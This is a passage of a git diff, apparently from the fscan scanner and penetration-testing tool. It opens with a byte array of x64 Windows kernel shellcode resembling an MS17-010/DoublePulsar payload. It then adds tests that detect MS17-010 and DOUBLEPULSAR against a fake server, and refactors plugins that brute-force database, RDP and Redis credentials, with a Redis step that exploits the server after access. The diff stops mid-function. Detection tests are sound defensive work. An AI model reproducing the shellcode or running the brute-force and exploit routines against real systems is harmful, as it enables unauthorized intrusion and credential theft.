0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, + 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, + 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, + 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, + 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, + 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, + 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, + 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, + 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, + 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, + 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, + 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, + 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, + 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, + 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, + 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, + 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, + 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, + 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, + 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, + 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, + 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, + 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, + 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, + 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, + 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, + 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, + 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, + 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, + 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, + 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, + 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, + 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, + 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, + 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, + 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, + 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, + 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, + 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, + 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, + 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, + 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, + 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, + 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, + 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, + 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, + 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, +} diff --git a/plugins/services/ms17010_test.go b/plugins/services/ms17010_test.go new file mode 100644 index 0000000..87847df --- /dev/null +++ b/plugins/services/ms17010_test.go @@ -0,0 +1,195 @@ +//go:build plugin_ms17010 || !plugin_selective + +package services + +import ( + "bytes" + "context" + "net" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" +) + +func TestMS17010LegacyRequestsDecodeToSMB1Packets(t *testing.T) { + requests := map[string][]byte{ + "negotiate": negotiateProtocolRequest, + "sessionSetup": sessionSetupRequest, + "treeConnect": treeConnectRequest, + "transNamedPipe": transNamedPipeRequest, + "trans2SessionSetup": trans2SessionSetupRequest, + } + + for name, request := range requests { + t.Run(name, func(t *testing.T) { + if len(request) < 36 { + t.Fatalf("request length = %d, want at least 36", len(request)) + } + if request[0] != 0x00 { + t.Fatalf("NetBIOS message type = 0x%02x, want 0x00", request[0]) + } + payloadLen := int(request[1])<<16 | int(request[2])<<8 | int(request[3]) + if payloadLen != len(request)-4 { + t.Fatalf("NetBIOS payload length = %d, want %d", payloadLen, len(request)-4) + } + if !bytes.Equal(request[4:8], []byte{0xff, 0x53, 0x4d, 0x42}) { + t.Fatalf("SMB signature = % x, want ff 53 4d 42", request[4:8]) + } + }) + } +} + +func TestMS17010CheckDetectsVulnerableStatus(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 45) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } +} + +func TestMS17010CheckAcceptsMinimalSessionSetupResponse(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 36) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } +} + +func TestMS17010CheckRejectsPatchedStatus(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, false, 45) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if vulnerable { + t.Fatal("expected patched status to be treated as not vulnerable") + } +} + +func TestMS17010CheckDetectsDoublePulsar(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 45, withDoublePulsar()) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, hasBackdoor, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } + if !hasBackdoor { + t.Fatal("expected DOUBLEPULSAR status to be detected") + } +} + +func newMS17010TestSession() *common.ScanSession { + cfg := common.NewConfig() + cfg.Timeout = time.Second + return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) +} + +type ms17010FakeServerOption func(*ms17010FakeServerConfig) + +type ms17010FakeServerConfig struct { + doublePulsar bool +} + +func withDoublePulsar() ms17010FakeServerOption { + return func(cfg *ms17010FakeServerConfig) { + cfg.doublePulsar = true + } +} + +func startMS17010FakeServer(t *testing.T, vulnerable bool, sessionSetupSize int, opts ...ms17010FakeServerOption) (string, func()) { + t.Helper() + + var cfg ms17010FakeServerConfig + for _, opt := range opts { + opt(&cfg) + } + + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + done := make(chan struct{}) + go func() { + defer close(done) + conn, err := ln.Accept() + if err != nil { + return + } + defer conn.Close() + + responses := [][]byte{ + makeMS17010Response(36), + makeMS17010Response(sessionSetupSize), + makeMS17010Response(36), + makeMS17010Response(36), + } + if len(responses[1]) >= 34 { + responses[1][32] = 0x34 + responses[1][33] = 0x12 + } + responses[2][28] = 0x78 + responses[2][29] = 0x56 + if vulnerable { + responses[3][9] = 0x05 + responses[3][10] = 0x02 + responses[3][11] = 0x00 + responses[3][12] = 0xc0 + responses = append(responses, makeMS17010Response(36)) + if cfg.doublePulsar { + responses[4][34] = 0x51 + } + } + + buf := make([]byte, 4096) + for _, response := range responses { + _ = conn.SetDeadline(time.Now().Add(time.Second)) + if _, err := conn.Read(buf); err != nil { + return + } + if _, err := conn.Write(response); err != nil { + return + } + } + }() + + cleanup := func() { + _ = ln.Close() + select { + case <-done: + case <-time.After(time.Second): + t.Fatal("fake server did not exit") + } + } + + return ln.Addr().String(), cleanup +} + +func makeMS17010Response(size int) []byte { + resp := make([]byte, size) + if size >= 4 { + resp[3] = byte(size - 4) + } + return resp +} diff --git a/plugins/services/mssql.go b/plugins/services/mssql.go index 0cb533c..a921b79 100644 --- a/plugins/services/mssql.go +++ b/plugins/services/mssql.go @@ -25,7 +25,9 @@ func NewMSSQLPlugin() *MSSQLPlugin { } } -func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { return p.identifyService(ctx, info, config, state) } @@ -43,7 +45,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig) @@ -63,7 +65,7 @@ func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMSSQLAuth 执行MSSQL认证 func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;connection timeout=%d", + connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;encrypt=disable;connection timeout=%d", info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds())) db, err := sql.Open("mssql", connStr) @@ -146,7 +148,7 @@ func classifyMSSQLErrorType(err error) ErrorType { func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { target := info.Target() - connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;connection timeout=%d", + connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;encrypt=disable;connection timeout=%d", info.Host, info.Port, int64(config.Timeout.Seconds())) db, err := sql.Open("mssql", connStr) diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 543f3a2..933fe5e 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -36,9 +36,11 @@ func NewMySQLPlugin() *MySQLPlugin { } } -func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { - return p.identifyService(info, config) + return p.identifyService(ctx, info, session) } credentials := GenerateCredentials("mysql", config) @@ -54,7 +56,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig) @@ -137,10 +139,10 @@ func classifyMySQLErrorType(err error) ErrorType { return ClassifyError(err, mysqlAuthErrors, mysqlNetworkErrors) } -func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Config) *ScanResult { +func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return &ScanResult{ Success: false, @@ -150,7 +152,7 @@ func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Conf } defer func() { _ = conn.Close() }() - if banner := p.readMySQLBanner(conn, config); banner != "" { + if banner := p.readMySQLBanner(conn, session.Config); banner != "" { common.LogSuccess(i18n.Tr("mysql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index 5160b49..e67a6cc 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -25,7 +25,9 @@ func NewNeo4jPlugin() *Neo4jPlugin { } } -func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { @@ -49,7 +51,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig) diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index 1bef760..3165acb 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -29,7 +29,9 @@ func NewNetBIOSPlugin() *NetBIOSPlugin { // GetPorts 实现Plugin接口 // Scan 执行NetBIOS扫描 - 收集Windows主机和域信息 -func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() // 检查端口类型 @@ -49,7 +51,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config netbiosInfo, err = p.queryNetBIOSNames(info.Host, config, state) } else { // TCP端口139 - NetBIOS会话服务 - netbiosInfo, err = p.queryNetBIOSSession(info.Host, config) + netbiosInfo, err = p.queryNetBIOSSession(ctx, info.Host, session) } if err != nil { @@ -184,16 +186,16 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st } // queryNetBIOSSession 查询NetBIOS会话服务(TCP 139) -func (p *NetBIOSPlugin) queryNetBIOSSession(host string, config *common.Config) (*NetBIOSInfo, error) { +func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, session *common.ScanSession) (*NetBIOSInfo, error) { target := fmt.Sprintf("%s:139", host) - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err) } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) // 发送SMB协商数据包 smbNegotiate1 := []byte{ diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index 4125ea9..2a6223f 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -24,11 +24,13 @@ func NewOraclePlugin() *OraclePlugin { } } -func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先测试未授权访问 @@ -48,7 +50,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config * // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig) @@ -178,10 +180,10 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common. return nil } -func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index e5ecc69..9d0c6f5 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -25,7 +25,9 @@ func NewPostgreSQLPlugin() *PostgreSQLPlugin { } } -func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { @@ -49,7 +51,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, conf // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig) diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index d19a4b4..419b917 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -26,11 +26,13 @@ func NewRabbitMQPlugin() *RabbitMQPlugin { } } -func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先检测未授权访问 @@ -50,7 +52,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig) @@ -209,16 +211,16 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo } // testAMQPProtocol 检测AMQP协议 -func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult { +func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return nil } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) // 发送AMQP协议头 amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01} @@ -247,19 +249,21 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host return nil } -func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { // 对于AMQP端口,检测AMQP协议 if info.Port == 5672 || info.Port == 5671 { - if result := p.testAMQPProtocol(ctx, info, config); result != nil && result.Success { + if result := p.testAMQPProtocol(ctx, info, session); result != nil && result.Success { return result } } // 检测HTTP管理界面 - return p.testManagementInterface(ctx, info, config, state) + return p.testManagementInterface(ctx, info, session) } -func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index e144760..ee4145f 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -28,7 +28,9 @@ func NewRDPPlugin() *RDPPlugin { } // Scan 执行RDP扫描 - 系统指纹识别 + 真实暴力破解 -func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() // 配置grdp日志级别 diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 35565dd..4058edd 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -31,21 +31,22 @@ func NewRedisPlugin() *RedisPlugin { } // Scan 执行Redis扫描 -func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 如果禁用暴力破解,只做服务识别 if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 首先检查未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { - p.exploitWithPassword(ctx, info, "", config) + p.exploitWithPassword(ctx, info, "", session) } return result } @@ -54,8 +55,8 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c credentials := GenerateCredentials("redis", config) // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) testConfig.Concurrency = 20 // Redis 默认并发度更高 result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig) @@ -66,7 +67,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { - p.exploitWithPassword(ctx, info, result.Password, config) + p.exploitWithPassword(ctx, info, result.Password, session) } } @@ -74,21 +75,20 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c } // createAuthFunc 创建Redis认证函数 -func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doRedisAuth(ctx, info, cred, config, state) + return p.doRedisAuth(ctx, info, cred, session) } } // doRedisAuth 执行Redis认证 -func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout // 建立TCP连接 - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyRedisErrorType(err), @@ -167,7 +167,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr responseStr := string(response[:n]) if !strings.Contains(responseStr, "PONG") { _ = conn.Close() - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, @@ -175,7 +174,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr } } - state.IncrementTCPSuccessPacketCount() return &AuthResult{ Success: true, Conn: conn, @@ -202,10 +200,10 @@ func classifyRedisErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试未授权访问 -func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { 